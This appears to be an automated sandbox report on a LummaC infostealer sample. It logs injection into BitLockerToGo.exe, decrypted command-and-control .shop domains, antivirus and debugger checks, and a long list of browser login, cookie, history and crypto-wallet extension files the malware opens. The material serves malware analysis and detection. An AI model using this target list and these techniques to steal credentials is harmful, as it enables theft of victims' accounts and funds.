Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 6xmBUtHylU.exe, 00000000.00000002.2209285482.00000245B1FC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

API call chain: ExitProcess graph end node

graph_3-11453

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00267840 LdrInitializeThunk,

3_2_00267840

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\6xmBUtHylU.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 230000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\6xmBUtHylU.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 230000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: benchillppwo.shop
Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: publicitttyps.shop
Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: answerrsdo.shop
Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: radiationnopp.shop
Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: affecthorsedpo.shop
Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bargainnykwo.shop
Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bannngwko.shop
Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bouncedgowp.shop
Source: 6xmBUtHylU.exe, 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: citizencenturygoodwk.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 230000			Jump to behavior
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 24B7008			Jump to behavior

Source: C:\Users\user\Desktop\6xmBUtHylU.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Jump to behavior

Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 3800, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000003.00000003.2290216843.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: BitLockerToGo.exe, 00000003.00000003.2290216843.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: BitLockerToGo.exe, 00000003.00000003.2290216843.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000003.00000003.2227392089.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletD
Source: BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: BitLockerToGo.exe, 00000003.00000003.2227392089.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: BitLockerToGo.exe, 00000003.00000003.2290216843.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: BitLockerToGo.exe, 00000003.00000003.2227392089.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
